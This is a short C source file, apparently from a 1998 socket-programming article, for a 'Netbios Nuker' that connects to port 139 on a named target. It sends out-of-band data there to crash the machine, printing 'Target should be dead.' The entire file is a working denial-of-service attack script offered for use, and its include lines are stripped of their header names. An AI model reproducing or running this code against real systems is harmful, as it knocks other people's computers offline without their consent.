// nuker.c #include #include #include #include #include #include #include // the message below should be replaced with your favourite quote. #define MESSAGE "per aspera ad astra." void main(int argc, char **argv) { int s; struct hostent *host; struct sockaddr_in victim; printf("Netbios Nuker - By darknite[@brigade.dhs.org]\n"); printf("For his socket-programming article, 1998\n"); if (argc < 2) { printf("Usage: %s \n", argv[0]); exit(-1); } host = gethostbyname(argv[1]); if (!host) { herror(argv[1]); exit(-1); } victim.sin_family = AF_INET; victim.sin_addr.s_addr = *(long *) (host->h_addr); victim.sin_port = htons(139); s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { printf("Error creating socket.\n"); exit(-1); } if (!connect(s, (struct sockaddr *) &victim, sizeof(victim))) { send(s, MESSAGE, strlen(MESSAGE), MSG_OOB); printf("Nuke sent. Target should be dead.\n"); } else printf("Couldn't connect to %s port 139.\n", argv[1]); if (close(s)) { printf("Error closing socket.\n"); exit(-1); } }